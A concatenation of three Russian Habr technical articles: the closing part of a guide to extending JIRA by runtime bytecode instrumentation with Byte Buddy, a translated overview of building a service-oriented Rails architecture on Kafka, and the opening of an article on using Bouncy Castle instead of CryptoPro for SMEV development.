* В общем случае, у нас есть возможность получить оригинальный метод, и даже [объект вызова метода](http://bytebuddy.net/#/tutorial). Однако, из-за [ограничений на изменение сигнатуры загруженных классов](http://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html), в случае когда мы инструментируем уже загруженный класс, оригинальный метод мы теряем(т.к. он не может быть сохранен как приватный метод того же класса). Так что если мы хотим переиспользовать оригинальную логику нам придется написать ее заново самим самим.
* Т.к. мы фактически вызываем методы другого класса, нам необходимо обеспечить видимость между классами в цепочке класслоадеров. В случае, когда инструментируется класс внутри OSGi-контейнера, проблем с видимостью не будет. Но в нашем случае большинство классов из API JIRA загружается WebappClassLoader'ом, который находится вне OSGi, а значит при попытке вызова метода нашего Interceptor'а мы получим заслуженный ClassNotFoundException.
В ходе работы над проектом у меня родился вариант решения этой проблемы, но т.к. оно вмешивается в логику загрузки классов всего приложения я не рекомендую использовать его без тщательного тестирования и выложу под спойлером.
**Решение проблемы загрузчиков**Основная идея заключается в том, чтобы прервать цепочку родителей WebappClassLoader'а и вставить туда некий прокси ClassLoader, который будет пытаться загружать классы с помощью BundleClassLoader, прежде чем делегировать загрузку настоящему родителю WebappClassLoader'а
Вот так:
Реализация подхода вылядит так:
```
private void tryToFixClassloader(ClassLoader originalClassLoader, BundleWiringImpl.BundleClassLoader bundleClassLoader) {
try {
final ClassLoader originalParent = originalClassLoader.getParent();
if (originalParent != null) {
if (!(originalParent instanceof BundleProxyClassLoader)) {
final BundleProxyClassLoader proxyClassLoader = new BundleProxyClassLoader<>(originalParent, bundleClassLoader);
FieldUtils.writeDeclaredField(originalClassLoader, "parent", proxyClassLoader, true);
}
}
} catch (IllegalAccessException e) {
log.warn("Error on try to fix originalClassLoader {}", originalClassLoader, e);
}
}
```
Применять его следует в блоке применения инструментации:
```
...
.transform((builder, typeDescription, classloader) -> {
builder.method(named("validateCreate").and(ElementMatchers.isPublic())).intercept(MethodDelegation.to(Interceptor.class));
if (!ClassUtils.isVisible(InstrumentationConsumer.class, classloader)) {
tryToFixClassloader(classloader, (BundleWiringImpl.BundleClassLoader) Interceptor.class.getClassLoader());
}
})
.installOn(instrumentation);
```
В этом случае мы сможем загружать OSGi классы через WebappClassLoader. Единственное, о чем надо позаботиться — о том, чтобы не пытаться загружать с помощью OSGi классы, загрузка которых будет делегироваться во вне OSGi, т.к. это, очевидно, приведет к зацикливанию и исключениям.
Код BundleProxyClassLoader:
```
class BundleProxyClassLoader extends ClassLoader {
private static final Logger log = LoggerFactory.getLogger(BundleProxyClassLoader.class);
private final Set proxies;
private final Method loadClass;
private final Method shouldDelegate;
public BundleProxyClassLoader(ClassLoader parent, T proxy) {
super(parent);
this.loadClass = getLoadClassMethod();
this.shouldDelegate = getShouldDelegateMethod();
this.proxies = new HashSet<>();
proxies.add(proxy);
}
private Method getLoadClassMethod() throws IllegalStateException {
try {
Method loadClass = ClassLoader.class.getDeclaredMethod("loadClass", String.class, boolean.class);
loadClass.setAccessible(true);
return loadClass;
} catch (NoSuchMethodException e) {
throw new IllegalStateException("Failed to get loadClass method", e);
}
}
private Method getShouldDelegateMethod() throws IllegalStateException {
try {
Method shouldDelegate = BundleWiringImpl.class.getDeclaredMethod("shouldBootDelegate", String.class);
shouldDelegate.setAccessible(true);
return shouldDelegate;
} catch (NoSuchMethodException e) {
throw new IllegalStateException("Failed to get shouldDelegate method", e);
}
}
@Override
public Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
log.trace("Trying to find already loaded class {}", name);
Class c = findLoadedClass(name);
if (c == null) {
log.trace("This is new class. Trying to load {} with OSGi", name);
c = tryToLoadWithProxies(name, resolve);
if (c == null) {
log.trace("Failed to load with OSGi. Trying to load {} with parent CL", name);
c = super.loadClass(name, resolve);
}
}
if (c == null) {
throw new ClassNotFoundException(name);
}
return c;
}
}
private Class tryToLoadWithProxies(String name, boolean resolve) {
for (T proxy : proxies) {
try {
final String pkgName = Util.getClassPackage(name);
//avoid cycle
if(!isShouldDelegatePackageLoad(proxy, pkgName)) {
log.trace("The load of class {} should not be delegated to OSGI parent, so let's try to load with bundles", name);
return (Class) this.loadClass.invoke(proxy, name, resolve);
}
} catch (ReflectiveOperationException e) {
log.trace("Class {} is not found with {}", name, proxy);
}
}
return null;
}
private boolean isShouldDelegatePackageLoad(T proxy, String pkgName) throws IllegalAccessException, InvocationTargetException {
return (boolean)this.shouldDelegate.invoke(
FieldUtils.readDeclaredField(proxy, "m\_wiring", true),
pkgName
);
}
}
```
Я сохранил его на случай, если кто-то захочет развить эту идею.
Второй вариант реализации инструментации — это использование Advice. Этот метод значительно хуже документирован — фактически примеры можно найти только в тикетах на [Github](https://github.com/raphw/byte-buddy/issues/110) и ответах на [StackOverflow](http://stackoverflow.com/questions/35968530/retransform-classes-with-byte-buddy).
**Но не все так плохо**Тут надо отдать Рафаэлю должное — все вопросы и тикеты которые я видел снабжены подробнейшими пояснениями и примерами, так что разобраться будет совсем не трудно — надеюсь эти труды принесут плоды и мы будем видеть Byte Buddy в еще большем количестве проектов.
От первого он отличается тем, что по умолчанию наши advice-методы **встраиваются** в код класса. Для нас это означает:
* отсутствие необходимости плясок с ClassLoader'ами
* сохранение оригинальной логики — мы только можем выполнить некие действия до оригинального кода или после
Звучит идеально, нам предоставлен шикарный API позволяющий получать оригинальные аргументы, результаты работы оригинального кода(включая исключения) и даже получать результаты работы Advice'а который отработал до оригинального кода. Но всегда есть «но», и встраивание накладывает некоторые ограничения на код, который может быть встроен:
* весь встраиваемый код должен быть оформлен одним методом
* метод не должен содержать вызовов методов классов, недоступных классу, в который мы встраиваемся, в т.ч. и анонимных(прощайте лямбды!)
* не поддерживается всплывание исключений — исключения нужно бросать явно в теле метода
*Описания этих ограничений в документации Byte Buddy я не нашел*
Ну что ж, попробуем написать нашу логику в стиле Advice. Как мы помним, нам надо постараться минимизировать необходимые инструментации. Это значит, что хотелось бы абстрагироваться от конкретных проверок валидации — сделать так, чтобы при появлении новой проверки она автоматически добавлялась в список проверок, которые будут выполнены при вызове validateCreate/validateUpdate, а сам код класса DefaultIssueService менять бы не приходилось.
В OSGi сделать это легко, но DefaultIssueService находится за рамками фреймворка и использовать OSGi приемы тут не получится.
Неожиданно нам на помощь приходит API JIRA. Каждый add-on представлен в JIRA как объект класса Plugin(обертка над Bundle с рядом специальных функций) с определенным ключом, по которому можно этот plugin искать.
Ключ задается нами в конфигурации аддона, plugin API загружается тем же класслоадером, что и наш DefaultIssueService — так что нам ничего не мешает в нашем advice'е вызвать именно наш plugin и с его помощью загрузить уже любой класс, который этим plugin'ом поставляется. Например, это может быть наш агрегатор проверок.
После этого мы можем получить экземпляр этого класса через опять-таки стандартный com.atlassian.jira.component.ComponentAccessor#getOSGiComponentInstanceOfType.
И никакой магии:
```
public class DefaultIssueServiceValidateCreateAdvice {
@Advice.OnMethodExit(onThrowable = IllegalArgumentException.class)
public static void intercept(
@Advice.Return(readOnly = false) CreateValidationResult originalResult,//заменить возвращаемое значение своим можно присвоив эту переменную - поэтому ставим (readOnly = false)
@Advice.Thrown Throwable throwable,//если оригинальный код кинет исключение - мы его получим
@Advice.Argument(0) ApplicationUser user,
@Advice.Argument(1) IssueInputParameters issueInputParameters
) {
try {
if (throwable == null) {
//current plugin key
final Plugin plugin = ComponentAccessor.getPluginAccessor().getEnabledPlugin("org.jrx.jira.instrumentation.issue-validation");
//related aggregator class
final Class issueValidatorClass = plugin != null ? plugin.getClassLoader().loadClass("org.jrx.jira.instrumentation.validation.spi.issueservice.IssueServiceValidateCreateValidatorAggregator") : null;
final Object issueValidator = issueValidatorClass != null ? ComponentAccessor.getOSGiComponentInstanceOfType(issueValidatorClass) : null;//вот здесь нам на помощь приходит API JIRA
if (issueValidator != null) {
final Method validate = issueValidator.getClass().getMethod("validate", CreateValidationResult.class, ApplicationUser.class, IssueInputParameters.class);
if (validate != null) {
final CreateValidationResult validationResult = (CreateValidationResult) validate
.invoke(issueValidator, originalResult, user, issueInputParameters);
if (validationResult != null) {
originalResult = validationResult;
}
} else {
System.err.println("==**Warn: method validate is not found on aggregator " + "**==");
}
}
}
//Nothing should break service
} catch (Throwable e) {
System.err.println("==**Warn: Exception on additional logic of validateCreate " + e + "**==");
}
}
}
```
DefaultIssueServiceValidateUpdateAdvice выглядит аналогично с точностью до имен классов и методов. Пришла пора написать InstrumentationConsumer, который будет применять наш advice к нужному методу.
```
@Component
@ExportAsService
public class DefaultIssueServiceTransformer implements InstrumentationConsumer {
private static final Logger log = LoggerFactory.getLogger(DefaultIssueServiceTransformer.class);
private static final AgentBuilder.Listener listener = new LogTransformListener(log);
private final String DEFAULT_ISSUE_SERVICE_CLASS_NAME = "com.atlassian.jira.bc.issue.DefaultIssueService";
@Override
public void applyInstrumentation(Instrumentation instrumentation) {
new AgentBuilder.Default().disableClassFormatChanges()
.with(new AgentBuilder.Listener.Filtering(
new StringMatcher(DEFAULT_ISSUE_SERVICE_CLASS_NAME, EQUALS_FULLY),
listener
))
.with(AgentBuilder.TypeStrategy.Default.REDEFINE)
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
.with(AgentBuilder.InitializationStrategy.NoOp.INSTANCE)
.type(named(DEFAULT_ISSUE_SERVICE_CLASS_NAME))
.transform((builder, typeDescription, classloader) ->
builder
//transformation is idempotent!!! You can call it many times with same effect
//no way to add advice on advice if it applies to original class
//https://github.com/raphw/byte-buddy/issues/206
.visit(Advice.to(DefaultIssueServiceValidateCreateAdvice.class).on(named("validateCreate").and(ElementMatchers.isPublic())))
.visit(Advice.to(DefaultIssueServiceValidateUpdateAdvice.class).on(named("validateUpdate").and(ElementMatchers.isPublic()))))
.installOn(instrumentation);
}
}
```
Тут надо сказать об одном приятном бонусе. Применение advice'а — идемпотентно! Не нужно заботиться о том, чтобы не применить трансформацию дважды при переустановке аддона — [за нас это сделает VM](https://github.com/raphw/byte-buddy/issues/206).
**Дополнительные возможности**Как я уже говорил, из-за [ограничений](http://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html) хранить метаинформацию в классе нельзя, но с подачи Рафаэля я провел эксперимент по добавлению к классу аннотаций. Если использовать аннотации, поставляющиеся вместе с JRE (например, JAXB и т.д.), то с их помощью вполне можно хранить в трансформированном классе минимально необходимую информацию о трансформации — версию, дату и т.д.
В финальный код это не попало, т.к. оказалось не нужно.
Ну что ж, дело за малым — напишем агрегатор. Первым делом определяем API валидации:
```
public interface IssueServiceValidateCreateValidator {
@Nonnull CreateValidationResult validate(
final @Nonnull CreateValidationResult originalResult,
final ApplicationUser user,
final IssueInputParameters issueInputParameters
);
}
```
Дальше стандартными средствами OSGi в момент вызова получаем все доступные валидации и выполняем их:
```
@Component
@ExportAsService(IssueServiceValidateCreateValidatorAggregator.class)
public class IssueServiceValidateCreateValidatorAggregator implements IssueServiceValidateCreateValidator {
private static final Logger log = LoggerFactory.getLogger(IssueServiceValidateCreateValidatorAggregator.class);
private final BundleContext bundleContext;
@Autowired
public IssueServiceValidateCreateValidatorAggregator(BundleContext bundleContext) {
this.bundleContext = bundleContext;
}
@Nonnull
@Override
public IssueService.CreateValidationResult validate(@Nonnull final IssueService.CreateValidationResult originalResult, final ApplicationUser user, final IssueInputParameters issueInputParameters) {
try {
log.trace("Executing validate of IssueServiceValidateCreateValidatorAggregator");
final Collection> serviceReferences = bundleContext.getServiceReferences(IssueServiceValidateCreateValidator.class, null);
log.debug("Found services: {}", serviceReferences);
return applyValidations(originalResult, serviceReferences, user, issueInputParameters);
} catch (InvalidSyntaxException e) {
log.warn("Exception on getting IssueServiceValidateCreateValidator", e);
return originalResult;
}
}
private IssueService.CreateValidationResult applyValidations(@Nonnull IssueService.CreateValidationResult originalResult, Collection> serviceReferences, ApplicationUser user, IssueInputParameters issueInputParameters) {
IssueService.CreateValidationResult result = originalResult;
for (ServiceReference serviceReference : serviceReferences) {
final IssueServiceValidateCreateValidator service = bundleContext.getService(serviceReference);
if (service != null) {
result = service.validate(result, user, issueInputParameters);
} else {
log.debug("Failed to get service from {}", serviceReference);
}
}
return result;
}
}
```
Все готово — собираем, уставнавливаем
#### Тестовая валидация
Для проверки подхода реализуем простейшую проверку:
```
@Component
@ExportAsService
public class TestIssueServiceCreateValidator implements IssueServiceValidateCreateValidator {
@Nonnull
@Override
public IssueService.CreateValidationResult validate(@Nonnull IssueService.CreateValidationResult originalResult, ApplicationUser user, IssueInputParameters issueInputParameters) {
originalResult.getErrorCollection().addError(IssueFieldConstants.ASSIGNEE, "This validation works", ErrorCollection.Reason.VALIDATION_FAILED);
return originalResult;
}
}
```
Пытаемся создать новую задачу и вуаля!
Теперь можем удалять и ставить заново любой аддон из разработанных — поведение JIRA меняется корректно.
### Заключение
Таким образом, мы получили средство динамического расширения API приложения, в данном случае JIRA. Безусловно, прежде чем использовать такой подход в production требуется тщательное тестирование, но на мой взгляд решение не окончательно закостылено, и при должной проработке такой подход может быть использован для решения «безнадежных задач» — исправление долгоживущих thirdparty дефектов, для расширения API и т.д.
Полный код самого проекта можно посмотреть на [Github](https://github.com/dzharikhin/jira-instrumentation) — пользуйтесь на здоровье!
**з.ы.** Чтобы не усложнять статью я не стал описывать детали сборки проекта и особенности разработки add-on'ов для JIRA — ознакомиться с этим можно [здесь](https://developer.atlassian.com/docs/getting-started). | https://habr.com/ru/post/316124/ | null | ru | null |
# Построение сервис-ориентированной архитектуры на Rails + Kafka
Привет, Хабр! Представляю вашему вниманию пост, который является текстовой адаптацией выступления [Stella Cotton на RailsConf 2018](https://www.youtube.com/watch?v=Rzl4O1oaVy8) и переводом статьи [«Building a Service-oriented Architecture with Rails and Kafka»](https://blog.heroku.com/service-oriented-architecture-rails-kafka) автора Stella Cotton.
В последнее время отчетливо виден переход проектов от монолитной архитектуры в пользу микросервисов. В этом гайде мы узнаем основы Kafka и как событийно-ориентированный подход может улучшить ваше Rails приложение. Также мы поговорим о проблемах мониторинга и масштабируемости сервисов, которые работают через событийно-ориентированный подход.
Что же такое Kafka?
-------------------
Уверен, что вам хотелось бы иметь информацию о том, как ваши пользователи пришли на вашу платформу или какие страницы они посещают, какие кнопки нажимают и т.д. Действительно популярное приложение может генерировать миллиарды событий и отправлять огромный объем данных в сервисы для аналитики, что может стать серьезным вызовом для вашего приложения.
Как правило, неотъемлемая часть веб приложений требует так называемый *real-time data flow*. Kafka предоставляет отказоустойчивую связь между **producers**, теми, кто генерирует события, и **consumers**, теми, кто получает эти события. Может быть даже несколько producers и consumers в одном приложении. В Kafka, каждое событие существует в течение заданного времени, поэтому несколько consumers могут читать одно и то же событие снова и снова. Kafka кластер включает в себя несколько brokers, которые являются инстансами Kafka.
Ключевая особенность Kafka — высокая скорость обработки событий. Традиционные системы очередей, например AMQP, имеют инфраструктуру, которая следит за обработанными событиями для каждого consumer-а. Когда количество consumers вырастает до приличного уровня, система с трудом начинает справляться с нагрузкой, потому что ей приходится отслеживать все большее количество состояний. Также, существуют большие проблемы с согласованностью между consumer и системой обработки событий. Например, стоит ли сразу помечать сообщение как отправленное, как только оно обработано системой? А если consumer на другом конце упадет, так и не получив сообщения?
Kafka также имеет отказоустойчивую архитектуру. Система запускается как кластер на одном или нескольких серверах, которые могут горизонтально масштабироваться путем добавления новых машин. Все данные записываются на диск и копируются на несколько брокеров. Для того, чтобы понимать возможности масштабируемости, стоит взглянуть на такие компании как Netflix, LinkedIn, Microsoft. Все они отправляют триллионы сообщений в день через свои Kafka кластеры!
Настройка Kafka в Rails
-----------------------
Heroku предоставляет [Kafka cluster add-on](https://elements.heroku.com/addons/heroku-kafka), который может быть использован для любого окружения. Для ruby приложений, мы рекомендуем использовать гем [ruby-kafka](https://github.com/zendesk/ruby-kafka). Минимальная реализация выглядит примерно так:
```
# config/initializers/kafka_producer.rb
require "kafka"
# Configure the Kafka client with the broker hosts and the Rails
# logger.
$kafka = Kafka.new(["kafka1:9092", "kafka2:9092"], logger: Rails.logger)
# Set up an asynchronous producer that delivers its buffered messages
# every ten seconds:
$kafka_producer = $kafka.async_producer(
delivery_interval: 10,
)
# Make sure to shut down the producer when exiting.
at_exit { $kafka_producer.shutdown }
```
После настройки конфига, вы можете использовать гем для отправки сообщений. Благодаря асинхронной отправки событий, мы можем отправлять сообщения откуда угодно:
```
class OrdersController < ApplicationController
def create
@comment = Order.create!(params)
$kafka_producer.produce(order.to_json, topic: "user_event", partition_key: user.id)
end
end
```
Мы поговорим о форматах сериализации ниже, а пока используем старый добрый JSON. Аргумент `topic` ссылается на лог, в который Kafka запишет это событие. Topics размазаны по разным разделам, которые позволяют разделить данные конкретного topic по разным брокерам для лучшей масштабируемости и надежности. И это действительно хорошая идея — иметь два или более раздела для каждого topic, ведь, если один из разделов падает, ваши события все равно будут записаны и обработаны. Kafka гарантирует, что события доставляются в порядке очереди внутри раздела, но не внутри целого topic. Если порядок событий важен, то отправка partition\_key гарантирует, что все события определенного типа будут сохранены на одном разделе.
Kafka для ваших сервисов
------------------------
Некоторые особенности, которые делают Kafka полезным инструментом, также делают его отказоустойчивой заменой RPC между сервисами. Взглянем на пример e-commerce приложения:
```
def create_order
create_order_record
charge_credit_card # call to Payments Service
send_confirmation_email # call to Email Service
end
```
Когда пользователь оформляет заказ, вызывается функция `create_order`. Это создает заказ в системе, списывает деньги с карты и отправляет email с подтверждением. Как видно, два последних шага вынесены в отдельные сервисы.
Одна из проблем такого подхода в том, что вышестоящий в иерархии сервис ответственнен за мониторинг доступности нижестоящего сервиса. Если у сервиса для отправки писем выдался не лучший день, вышестоящему сервису нужно об этом знать. И если сервис отправки недоступен, то необходимо повторить определенный набор действий. Как Kafka может помочь в такой ситуации?
Например:
В этом событийно-ориентированном подходе, вышестоящий сервис может записать событие в Kafka о том, что заказ был создан. Из-за так называемого *at least once* подхода, событие будет записано в Kafka как минимум один раз и будет доступно нижестоящим consumer-ам для чтения. Если сервис отправки писем лежит, событие будет ждать на диске, пока consumer не поднимется и не прочтет его.
Еще одна проблема RPC-ориентированной архиектуры — в быстрорастущих системах: добавление нового нижестоящего сервиса влечет за собой изменения в вышестоящем. Например, вы бы хотели добавить еще один шаг после создания заказа. В событийно-ориентированном мире вам нужно будет добавить еще один consumer для обработки нового типа событий.
Включение событий в сервис-ориентированную архитектуру
------------------------------------------------------
В посте под названием “[What do you mean by “Event-Driven](https://martinfowler.com/articles/201701-event-driven.html)” Мартина Фаулера обсуждается путаница вокруг событийно-ориентированных приложений. Когда разработчики обсуждают подобные системы, они на самом деле говорят об огромном количестве различных приложений. Для того, чтобы дать общее понимание о природе таких систем, Фаулер определил несколько архитектурных шаблонов.
Давайте взглянем, что это за паттерны. Если вы хотите узнать больше, то советую прочитать его [доклад](https://www.youtube.com/watch?v=STKCRSUsyP0) на GOTO Chicago 2017.
### Event Notification
Первый шаблон Фаулера называется *Event Notification*. В этом сценарии producer сервис оповещает consumer-ов о произошедшем событии с помощью минимального объема информации:
```
{
"event": "order_created",
"published_at": "2016-03-15T16:35:04Z"
}
```
Если consumer-ам требуется больше информации о событии, они делают запрос к producer и получают больше данных.
### Event-Carried State Transfer
Второй шаблон называется *Event-Carried State Transfer*. В этом сценарии producer предоставляет дополнительную информацию о событии и consumer может хранить копию эти данных, не делая дополнительных вызовов:
```
{
"event": "order_created",
"order": {
"order_id": 98765,
"size": "medium",
"color": "blue"
},
"published_at": "2016-03-15T16:35:04Z"
}
```
### Event-Sourced
Третий шаблон Фаулер назвал *Event-Sourced* и он является скорее архитектурным. Релизация шаблона предполагает не просто коммуникацию между вашими сервисами, но и сохранение представления события. Это гарантирует, что, даже потеряв базы данных, вы все равно можете восстановить состояние приложения, просто запустив сохраненный поток событий. Другими словами, каждое событие сохраняет определенное состояние приложения в определенный момент.
Большой проблемой такого подхода является то, что код приложения всегда меняется, а с ним может меняться формат или объем данных, которые отдает producer. Это делает проблемным восстановление состояния приложения.
### Command Query Responsibility Segregation
И последний шаблон —*Command Query Responsibility Segregation*, или CQRS. Идея в том, что действия, которые вы применяете к объекту, например: создание, чтение, обновление, должны быть разделены на различные домены. Это значит, что один сервис должен отвечать за создание, другой за обновление и т.д. В объектно-ориентированных системах же все часто хранится в одном сервисе.
Сервис, который пишет в базу, будет считывать поток событий и обрабатывать команды. Но любые запросы происходят только в read-only базе. Разделение логики чтения и записи на два разных сервиса увеличивает сложность, но позволяет оптимизировать производительность отдельно для этих систем.
Проблемы
--------
Давайте поговорим о некоторых проблемах, с которыми вы можете столкнуться при интеграции Kafka в ваше сервис-ориентированное приложение.
Первая проблема может заключаться в медленных consumer-ах. В событийно-ориентированной системе ваши сервисы должны иметь возможность обрабатывать события моментально при получении их от вышестоящего сервиса. Иначе они будут просто висеть без каких-либо оповещений о проблеме или таймаутах. Единственное место, где можно определить таймауты — сокетное соединение с брокерами Kafka. Если сервис не обрабатывает событие достаточно быстро, то соединение может быть прервано по таймауту, но восстановление сервиса требует дополнительных затрат времени, потому что создание таких сокетов обходится дорого.
Если consumer медленный, как можно увеличить скорость обработки событий? В Kafka вы можете увеличить количество consumer-ов в группе, таким образом, большее количество событий может быть обработано параллельно. Но потребуется как минимум 2 consumer-а на один сервис: в случае, если один упадет, поврежденные разделы можно переназначить.
Также очень важно иметь метрики и оповещения, чтобы следить за скоростью обработки событий. [ruby-kafka](https://github.com/zendesk/ruby-kafka) может работать с ActiveSupport оповещениями, также он имеет StatsD и Datadog модули, которые по-умолчанию включены. Кроме того, гем предоставляет [список](https://github.com/zendesk/ruby-kafka#what-to-monitor) рекоммендованных метрик для мониторинга.
Еще одним важным аспектом построения систем с Kafka является проектирование consumer-ов с возможностью обработки отказов. Kafka гарантированно отправит событие хотя бы один раз; исключен случай, когда сообщение не отправилось совсем. Но важно, чтобы consumer-ы были готовы обработать повторяющиеся события. Один из способов сделать это — всегда использовать `UPSERT` для добавления новых записей в базу данных. Если запись уже существует с такими же атрибутами, вызов по сути будет неактивным. Кроме того, вы можете добавить уникальный идентификатор в каждое событие и просто пропускать события, которые уже были обработаны ранее.
Форматы данных
--------------
Одним из сюрпризов при работе с Kafka может стать его простое отношение к формату данных. Вы может отправить что угодно в байтах и данные будут отправлены consumer-у без какой-либо верификации. С одной стороны, это дает гибкость и позволяет не заботиться о формате данных. С другой стороны, если producer решит изменить отправляемые данные, есть шанс, что какой-нибудь consumer в итоге сломается.
Перед тем как строить событийно-ориентированную архитектуру, выберите формат данных и проанализируйте, как он поможет в дальнейшем регистрировать и развивать схемы.
Один из форматов, рекоммендованных к использованию, конечно же, JSON. Этот формат человекочитаем и поддерживается всеми известными языками программирования. Но есть и подводные камни. Например, размеры конечных данных на JSON могут стать пугающе большими. Формат обязует хранить пары ключ-значение, что достаточно гибко, но при этом данные дублируются в каждом событии. Изменение схемы также является сложной задачей, поскольку нет встроенной поддержки для наложения одного ключа на другой, если вам небходимо переименовать поле.
Команда, создавшая Kafka, советует использовать в качестве системы сериализации [Avro](https://avro.apache.org/docs/current/). Данные отправляются в бинарном виде, и это не самый человекочитаемый формат, зато внутри есть более надежная поддержка схем. Конечный объект в Avro включает в себя одновременно схему и данные. Также Avro поддерживает как простые типы, вроде чисел, так и сложные: даты, массивы и пр. Кроме того, он позволяет включать документацию внутри схемы, что позволяет понимать назначения определенного поля в системе и содержит множество других встроенных инструментов для работы со схемой.
[avro-builder](https://github.com/salsify/avro-builder)— гем, созданный Salsify, который предлагает ruby-подобный DSL для создания схем. Более подробно про Avro можно прочесть в [этой статье](https://www.salsify.com/blog/engineering/adventures-in-avro).
Дополнительная информация
-------------------------
Если вы интересуетесь как хостить Kafka или как он используется в Heroku, есть несколько докладов, которые могут быть вам интересны.
Jeff Chao’s на конфереции DataEngConf SF ’17 “[Beyond 50,000 Partitions: How Heroku Operates and Pushes the Limits of Kafka at Scale](https://www.datacouncil.ai/talks/beyond-50000-partitions-how-heroku-pushes-the-limits-of-kafka-at-scale)”
Pavel Pravosud на конфереции Dreamforce ’16 “ [Dogfooding Kafka: How We Built Heroku’s Real-Time Platform Event Stream](https://www.salesforce.com/video/302281/)”
Приятного просмотра! | https://habr.com/ru/post/450028/ | null | ru | null |
# Побег из Крипто Про. Режиссерская версия, СМЭВ-edition
Эта статья посвящена тому, как перестать использовать Крипто Про и перейти на Bouncy Castle в девелоперском/тестовом окружении.
В начале статьи будет больше про СМЭВ и его клиент, в конце — больше про конвертирование ключей с готовой копипастой, чтобы можно было начать прямо сейчас.
Картинка для привлечения внимания:
И сразу же ответ:
Disclamer
=========
Конечно, сбежать с Крипто Про невозможно, потому что это оплот российской криптографии. Он удовлетовряет требованиям компетентных органов, он прописан в договоры и контракты, ему доверяет вся страна, и так далее. Поэтому все нижеописанное относится девелоперскому или тестовому окружению, где мы сами себе хозяева.
Недавно мне нужно было разобраться, как написать сервис, работающий с Системой Межведомственного Электронного Взаимодействия.
Все написанное представляет собой просто результат небольшого исследования, максимально абстрагированный от выполненной работы. И даже приблизительно угадать что-то о реально принятых решениях невозможно, я проверял.
Обоснование нужности готового клиента
=====================================
На технологическом портале СМЭВ3 лежат исходники клиента, но вот незадача — они гвоздями прибиты к КриптоПро. Вордовский файл с инструкцией, приложенный к исходникам, утверждает это самым прямым образом. Да и все равно, исходные ключи у нас тоже в формате КриптоПро. Исходя из production это нормально, а вот для тестового окружения жутко неудобно. Хотелось бы от этого избавиться.
На сайте есть две версии — "актуальная" и "рекомендуемая". Почему они так, и почему актуальная версия не рекомендуется, а рекомендуемая не актуальна — какая-то дилемма копирайтера :) Дальше речь о том клиенте который "актуальный".
Строго говоря, использовать его нельзя, потому что в архиве исходников нету текста лицензии, и поэтому непонятно, под какой лицензией должна распространяться производная работа. Я позвонил по телефону поддержки, написанному на портале, написал на почту, пару недель наблюдал как моя заявка летает между уровнями техподдержки и исполняющими организациями, и в результате воз и ныне там:
Задача не выполнена, но выполнена и закрыта, изумительно. Ладно, черт с ними...
Несмотря на невозможность использовать его у себя непосредственно в коде, это отличный тестовый пример. Дело в том, что в методических рекомендациях СМЭВа без поллитры не разобраться, и готовый живой код дает отличный буст к пониманию.
Основная претензия к документации — это канцеляризмы и скудное описание в интернете.
Помните мем про копирайтера, который из абзаца сделал одно предложение в несколько слов? Для документации СМЭВа это имеет место быть, например вот цепочка рефакторинов для одной произовльно взятой фразы:
"2. ИС потребителя направляет в СМЭВ межведомственный запрос;"
"2. ИС потребителя направляет в СМЭВ запрос;"
"2. ИС потребителя направляет запрос;"
"2. потребитель направляет запрос;"
"2. запрос потребителя;"
Короче, наличие готовой реализации — это добро.
Почему Крипто Про JCP добро
===========================
* Он есть и работает
* Судя по исходникам BoncyCastle, товарищи из КриптоПро поучаствовали в его развитии, добавив алгоритмы по ГОСТ
Почему Крипто Про JCP зло
=========================
* Если у вас много разработчиков и виртуальных машин, покупать лицензию не очень хочется
* Проприетарщина, поэтому все описанные ниже баги исправить нельзя. Точнее можно (дизассемблер стреляет без промаха), но незаконно и с потерей всех гарантий — не вариант
* На Java 8 под OSX завести не удалось (никакую версию КП JCP). Скорей всего это исправят довольно скоро, т.к. представители отреагировали на мой пост в Фейсбуке
* Вообще, на OSX завести не удалось. Гуй админки — полурабочий, сыпет ошибками, куски гуя не работают.
* На линуксе тоже есть баги в интерфейсе
* Когда-то давно установщик на Windows писал в консоли крокозябры (не проверял на новых версиях — может, пофиксили)
* Установка патчингом дистрибутива джавы. Ящетаю, что установка софта методом патчинга джавы — это зло в последней инстанции, за это суд по правам человека должен назначать шестикратный расстрел с повешанием
* Не каждую джаву можно пропатчить, для выяснения магической комбинации нужно серьезно упороться. Тут важно, что мы стараемся разрабатывать на самых новых версиях джавы, с пылу-с жару, и тестируем на новых версия (на момент написания статьи — JDK9), так что ограничения на версию джавы — это безумие как оно есть
* Способы инсталляции и запуска админки — лютый треш (это надо видеть)
В качестве альтернативы в тестовом окружении я предалагю использовать Bouncy Castle с контейнером PKCS12 или JKS. Это открытое, свободное и бесплатное ПО.
К чести разработчиков Крипто Про, похоже, они принимали участие в его разработке.
Что нужно допилить в готовом клиенте, чтобы сбежать с Крипто Про
================================================================
Код написан довольно дружелюбно для расширения, поэтому можно просто взять за основу класс KeyStoreWrapperJCP, и аналогично написать KeyStoreWrapperBouncyCastlePKCS12, KeyStoreWrapperBouncyCastleJKS.
Переписать DigitalSignatureFactory, так, чтобы он на вход начал принимать путь до криптоконтейнера на файловой системе и пароль от него (для КриптоПро это просто не нужно). Там есть свич, который проверяет тип криптопровайдера, в него надо дописать дополнительно два кейса, для имен типа BOUNCY\_JKS и BOUNCY\_PKCS12 и навешать использование соответсвующих KeyWrapper и вызов initXmlSec.
В initXmlSec нужно дописать
1) возможность принимать вообще любой провайдер, а не только криптопро (это просто удобно)
2) Security.addProvider(new BouncyCastleProvider());
3) для XMLDSIG\_SIGN\_METHOD сделать свич: если КриптоПро, то алгоритм называется "GOST3411withGOST3410EL", а если BouncyCastle алгоритм называется "GOST3411WITHECGOST3410".
Ну вроде как и все. Если бы была известна лицензия на этот смэв-клиент, я бы приложил конкретный код под Apache License 2, а так это просто список идей.
Инициализация XML-подписи в Santuario
=====================================
Ах да, тут есть один интересный момент. В сети множество советов, касающихся СМЭВа, заключающихся в ручном парсинге кусков XMLек, и прочим закатом солнца вручную, но это не наш метод (и не метод, который использовали создатели клиента)
Замес в том, что сгенерить самоподписанные ключи по госту легко (копипаста на SO ищется за секунды). А вот подписать — нет, ибо по мнению интернет-школьников якобы Bouncycastle не поддерживает xml-подпись. Конкретней, при работе с Apache Santuario, XMLSignature из santuario-xmlsec не понимает что использовать для обработки метода "xmldsig-more#gostr34102001-gostr3411" при вызове xmlSignature.sign(privateKey).
